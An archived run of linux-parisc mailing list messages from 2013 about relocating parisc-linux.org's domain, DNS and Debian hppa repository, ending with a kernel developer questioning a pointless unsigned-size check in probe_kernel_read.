Original-Received: from BLU0-SMTP59 ([65.55.116.74]) by blu0-omc3-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 9 Nov 2013 12:55:38 -0800
X-TMN: [l7dCZZcq5xsSpEOoSUzLDHGtf6QMqldb]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.204]) by BLU0-SMTP59.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 9 Nov 2013 12:55:37 -0800
In-Reply-To: <527E9DAF.3050300@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Nov 2013 20:55:37.0526 (UTC) FILETIME=[0AB82D60:01CEDD8E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5472>

On 9-Nov-13, at 3:40 PM, Helge Deller wrote:

> On 11/09/2013 09:33 PM, John David Anglin wrote:
>> On 9-Nov-13, at 3:25 PM, Helge Deller wrote:
>>
>>> On 11/09/2013 08:17 PM, Matt Taggart wrote:
>>>> Thibaut Var=E8ne writes:
>>>>> Until then, it's presumably impossible to move the domain to a ne=
w
>>>>> owner. I've just tried with my registrar of choice (ovh.com) and =
=20
>>>>> it
>>>>> says that I can only move the domain there *without* changing =20
>>>>> ownership
>>>>
>>>> Weird. So does that mean to change ownership either you are going =
=20
>>>> to have
>>>> to move it within my registrar or I am going to have to move it =20
>>>> within
>>>> yours?
>>>>
>>>>> As a temporary workaround, I could give you the IP addresses of =20
>>>>> my DNS
>>>>> servers (once I've readied them for handling p-l.o, which, to =20
>>>>> begin
>>>>> with, means I have to copy the existing zone), which would for al=
l
>>>>> practical purposes give me control over the domain until it can b=
e
>>>>> properly moved next summer (which must not be forgotten, =20
>>>>> especially now
>>>>> that you've unlocked the domain).
>>>>
>>>> I can change the nameservers (or anything else about the domain) =20
>>>> whenever,
>>>> just let me know. taggart@OFTC
>>>
>>> Just as a side-note:
>>> Could we let it run as-is as long as possible? At least until the =20
>>> A500 is really turned off?
>>>
>>> Dave & me have the parisc-linux debian dpkg repository still on =20
>>> the A500 which is still in
>>> heavy use until the debian-ports repository is mostly filled...
>>
>>
>> I want to setup a personal mirror while it's still on to facilitate =
=20
>> the transition to ports.
>
> Ok, but will you make your mirror visible to the world via http/ftp =20
> or will you keep it internal for you privately?


I wasn't planning to make it visible because my total uploads and =20
downloads are limited by my ISP.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?windows-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 9 Nov 2013 22:22:04 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <74F5ADFA-DCA6-416B-930F-C97FDAC6CBE0@parisc-linux.org>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 7.0 \(1816\))
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384032129 7406 80.91.229.3 (9 Nov 2013 21:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 21:22:09 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, Helge Deller <deller@gmx.de>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Matt Taggart <matt@lackof.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 22:22:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfFyu-0002h5-2F
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 22:22:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756751Ab3KIVWL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 16:22:11 -0500
Original-Received: from mail-wi0-f176.google.com ([209.85.212.176]:49940 "EHLO
	mail-wi0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752246Ab3KIVWK convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 16:22:10 -0500
Original-Received: by mail-wi0-f176.google.com with SMTP id m19so787651wiv.3
        for <linux-parisc@vger.kernel.org>; Sat, 09 Nov 2013 13:22:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:content-type:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=HEs1RHDZbrRy6Fx9WkpTp8XwIzQar55vziGpW5TH9Hw=;
        b=CgmIaEo6Rz8RF+Rpqe2eppvIUl1yGVU2rnpONLCRVxyih8yxI9jSrL61oNxnxT6Wcj
         gCi6Py/9fjrKYms1v3KwAX4HrrDK1Z6c2wQLJCc3uJwguEPumkydsDS+730Mw1O233wz
         hFBIM//wgDHV8/8Xao0lvIjAv5Ng6mJiN0al59dGNzbLgjYKPEUmVD5Fztu64bfciXjK
         mrgGOBO+S4KwucDf12qxNH2FAYBhuGyoF572P2YiKOgsGIx/EyDII/XKdoLoz1QgUcLA
         W/1xnddVTtxYsJud/yWuO7zk01yFf8H+eMDiQqbAnmTxvJ3vnnQeZNiPt/etQKBtWVcq
         QdJg==
X-Received: by 10.180.160.212 with SMTP id xm20mr6888286wib.23.1384032128851;
        Sat, 09 Nov 2013 13:22:08 -0800 (PST)
Original-Received: from [192.168.0.16] (tardis.herebedragons.eu. [88.178.25.53])
        by mx.google.com with ESMTPSA id hv5sm18477323wib.2.2013.11.09.13.22.05
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sat, 09 Nov 2013 13:22:07 -0800 (PST)
In-Reply-To: <20131109191725.DDCE31A1@taggart.lackof.org>
X-Mailer: Apple Mail (2.1816)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5473
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5473>


Le 9 nov. 2013 =E0 20:17, Matt Taggart <matt@lackof.org> a =E9crit :

> Thibaut Var=E8ne writes:
>> Until then, it's presumably impossible to move the domain to a new
>> owner. I've just tried with my registrar of choice (ovh.com) and it
>> says that I can only move the domain there *without* changing owners=
hip
>=20
> Weird. So does that mean to change ownership either you are going to =
have=20
> to move it within my registrar or I am going to have to move it withi=
n=20
> yours?

No, the thing is that when domains expire, you have IIRC a 30-day grace=
 period where you can gracefully renew or transfer them. That=92s what =
we=92re looking for, I think, and since p-l.o expires in august 2014, w=
e=92re quite a bit too early.
>=20
>> As a temporary workaround, I could give you the IP addresses of my D=
NS
>> servers (once I've readied them for handling p-l.o, which, to begin
>> with, means I have to copy the existing zone), which would for all
>> practical purposes give me control over the domain until it can be
>> properly moved next summer (which must not be forgotten, especially =
now
>> that you've unlocked the domain).
>=20
> I can change the nameservers (or anything else about the domain) when=
ever,=20
> just let me know. taggart@OFTC

OK, I=92ll try to prepare everything next week and will ping you then, =
thanks!

T-Bone--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?windows-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 9 Nov 2013 22:26:04 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 7.0 \(1816\))
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384032376 9839 80.91.229.3 (9 Nov 2013 21:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 21:26:16 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>, dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 22:26:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfG2t-0007hX-20
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 22:26:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757449Ab3KIV0S convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 16:26:18 -0500
Original-Received: from mail-we0-f175.google.com ([74.125.82.175]:58637 "EHLO
	mail-we0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756946Ab3KIV0R convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 16:26:17 -0500
Original-Received: by mail-we0-f175.google.com with SMTP id p61so687261wes.34
        for <linux-parisc@vger.kernel.org>; Sat, 09 Nov 2013 13:26:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:content-type:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=TG0gnYP6s8rjiPN9GrmJojos2s95ftz8fYQTon9pCII=;
        b=MWJ/8k2uwuYtscKQxC55n/PIu1XmvKzwCkRTR2KMDDsMlNPWQt7ZixL8Ny5sXjV9ao
         fVH6SGduSc+3J58NXn1ZeDn5OIdpiqvAbvaLmdVlS7DBxeU/wCdMrWuwjbVmUmHWYXxx
         iwvSGCj4ewB1jtd+mfvVRd0wMXL5aGKomXFB6lghoOPRSVMtGT3nhln0tbRuhmQ1Xjvk
         pKFXvb4keLSVUSl/Nhadlt3aVe+OVNHheLEmyeRTa5lkL145prhj5OVPrLx2RRPBoWxj
         B1bse95NyI81wNHRixYOuZpk/GE4AuoQbUBB6F9oakP1RxsxdRP1PwkKANdLXbj6FGjc
         W74g==
X-Received: by 10.180.77.19 with SMTP id o19mr7062559wiw.34.1384032376450;
        Sat, 09 Nov 2013 13:26:16 -0800 (PST)
Original-Received: from [192.168.0.16] (tardis.herebedragons.eu. [88.178.25.53])
        by mx.google.com with ESMTPSA id dn2sm18508048wid.1.2013.11.09.13.26.13
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sat, 09 Nov 2013 13:26:15 -0800 (PST)
In-Reply-To: <527E9A4E.5000008@gmx.de>
X-Mailer: Apple Mail (2.1816)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5474
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5474>


Le 9 nov. 2013 =E0 21:25, Helge Deller <deller@gmx.de> a =E9crit :

> On 11/09/2013 08:17 PM, Matt Taggart wrote:
>> Thibaut Var=E8ne writes:
>>> Until then, it's presumably impossible to move the domain to a new
>>> owner. I've just tried with my registrar of choice (ovh.com) and it
>>> says that I can only move the domain there *without* changing owner=
ship
>>=20
>> Weird. So does that mean to change ownership either you are going to=
 have=20
>> to move it within my registrar or I am going to have to move it with=
in=20
>> yours?
>>=20
>>> As a temporary workaround, I could give you the IP addresses of my =
DNS
>>> servers (once I've readied them for handling p-l.o, which, to begin
>>> with, means I have to copy the existing zone), which would for all
>>> practical purposes give me control over the domain until it can be
>>> properly moved next summer (which must not be forgotten, especially=
 now
>>> that you've unlocked the domain).
>>=20
>> I can change the nameservers (or anything else about the domain) whe=
never,=20
>> just let me know. taggart@OFTC
>=20
> Just as a side-note:
> Could we let it run as-is as long as possible? At least until the A50=
0 is really turned off?

My plan is to setup new DNSes with the current situation to start with,=
 and have Matt register them as zone DNS. That=92ll be transparent for =
everyone, situation unchanged, until the A500 is powered off, at which =
point we can devise a new setup. As I told you, my primary concern is w=
ith email, so I=92ll have that covered :)
>=20
> Dave & me have the parisc-linux debian dpkg repository still on the A=
500 which is still in=20
> heavy use until the debian-ports repository is mostly filled=85

I might be able to *temporarily* (emphasis on that word) host it, provi=
ded it=92s not =AB too big =BB, but as I said, specific protocols such =
as FTP or GIT are not possible (only HTTP).

HTH

T-Bone--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 09 Nov 2013 22:31:53 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <527EA9C9.2070309@gmx.de>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de> <C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384032717 12817 80.91.229.3 (9 Nov 2013 21:31:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 21:31:57 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>, dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: =?windows-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 22:32:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfG8N-00088P-Ui
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 22:32:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756775Ab3KIVb7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 16:31:59 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:60180 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756462Ab3KIVb6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 16:31:58 -0500
Original-Received: from [192.168.178.60] ([84.173.76.210]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MQhyf-1VBrge0tR7-00U3Nj for
 <linux-parisc@vger.kernel.org>; Sat, 09 Nov 2013 22:31:57 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:fOHcXxIWtd//hrLiHYCHFpCwm/CL3rC6FLUW7ePxWRh2gcZ24fM
 icXPmPKIh//01BigtTodV9sg20jwP95K7qJlf0d9wkCvIax4DFYo11A4Dhj4TFKCLaK8ilG
 vTDIgSiI5vki1RafaynoQ8E8K+C4wYFvZZ3+GadwjJJzpXHmW6VrMBfrv2TDCzr/pj4cpZU
 LHS0eS6Ip/kY2Edz6OKuA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5475>

Hi Thibaut,

On 11/09/2013 10:26 PM, Thibaut Var=E8ne wrote:
>> Just as a side-note: Could we let it run as-is as long as possible?
>> At least until the A500 is really turned off?
>=20
> My plan is to setup new DNSes with the current situation to start
> with, and have Matt register them as zone DNS. That=92ll be transpare=
nt
> for everyone, situation unchanged, until the A500 is powered off, at
> which point we can devise a new setup. As I told you, my primary
> concern is with email, so I=92ll have that covered :)

That's good!

>> Dave & me have the parisc-linux debian dpkg repository still on the
>> A500 which is still in heavy use until the debian-ports repository
>> is mostly filled=85
>=20
> I might be able to *temporarily* (emphasis on that word) host it,
> provided it=92s not =AB too big =BB, but as I said, specific protocol=
s such
> as FTP or GIT are not possible (only HTTP).

HTTP would be absolutely fine. Actually, this is what we currently use.

I just checked the archive. It's currently - including temporary boot-d=
isk-images - 19GB.
I don't think it will grow a lot during the next weeks/months, and give=
n the
fact that there aren't so many parisc-users, the load will probably not
be high.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sun, 10 Nov 2013 12:26:44 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <BLU0-SMTP31AC436DE2411AE5EC2DD997FC0@phx.gbl>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de> <C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org> <527EA9C9.2070309@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=WINDOWS-1252;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384104420 8197 80.91.229.3 (10 Nov 2013 17:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Nov 2013 17:27:00 +0000 (UTC)
Cc: =?WINDOWS-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>,
	Matt Taggart <matt@lackof.org>, dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 10 18:27:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfYmt-0006HE-J6
	for glpp-linux-parisc@plane.gmane.org; Sun, 10 Nov 2013 18:27:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751729Ab3KJR1D convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Nov 2013 12:27:03 -0500
Original-Received: from blu0-omc3-s10.blu0.hotmail.com ([65.55.116.85]:39103 "EHLO
	blu0-omc3-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751712Ab3KJR1C convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Nov 2013 12:27:02 -0500
Original-Received: from BLU0-SMTP31 ([65.55.116.73]) by blu0-omc3-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 10 Nov 2013 09:27:01 -0800
X-TMN: [/VW2KFfTcZaH5Hvgbg1xD51SL6xmUMCQ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.204]) by BLU0-SMTP31.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 10 Nov 2013 09:27:01 -0800
In-Reply-To: <527EA9C9.2070309@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 10 Nov 2013 17:27:01.0323 (UTC) FILETIME=[10E4E9B0:01CEDE3A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5476>

On 9-Nov-13, at 4:31 PM, Helge Deller wrote:

>> I might be able to *temporarily* (emphasis on that word) host it,
>> provided it=92s not =AB too big =BB, but as I said, specific protoco=
ls such
>> as FTP or GIT are not possible (only HTTP).
>
> HTTP would be absolutely fine. Actually, this is what we currently =20
> use.
>
> I just checked the archive. It's currently - including temporary =20
> boot-disk-images - 19GB.
> I don't think it will grow a lot during the next weeks/months, and =20
> given the
> fact that there aren't so many parisc-users, the load will probably =20
> not
> be high.

I think we should freeze the repository in its current state.

I'm no longer building "all" packages, just "hppa" packages.  This is =20
what's needed
for upload to ports.  Some "hppa" packages depend on a specific =20
version of an "all"
package, so continuing to upload will break dependencies.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: pointless code in probe_kernel_read
Date: Mon, 11 Nov 2013 10:13:19 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1311111009060.377@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1384182801 20910 80.91.229.3 (11 Nov 2013 15:13:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Nov 2013 15:13:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 11 16:13:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VftB7-00038v-QX
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Nov 2013 16:13:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754311Ab3KKPNZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Nov 2013 10:13:25 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:61578 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754309Ab3KKPNY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Nov 2013 10:13:24 -0500
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rABFDKHu017593
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 11 Nov 2013 10:13:21 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rABFDK5b016230
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 11 Nov 2013 10:13:20 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id rABFDKbh001027;
	Mon, 11 Nov 2013 10:13:20 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id rABFDJNe001023;
	Mon, 11 Nov 2013 10:13:20 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5477>

Hi Helge

I noted that you created this function in commit 
db080f9c530f78dad661257885a1893506077068

long probe_kernel_read(void *dst, const void *src, size_t size)
{
        unsigned long addr = (unsigned long)src;

        if (size < 0 || addr < PAGE_SIZE)
                return -EFAULT;

        /* check for I/O space F_EXTEND(0xfff00000) access as well? */

        return __probe_kernel_read(dst, src, size);
}

size_t is unsigned, so comparison size < 0 doesn't make sense. What 
exactly did you mean by this test?

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:53 2018
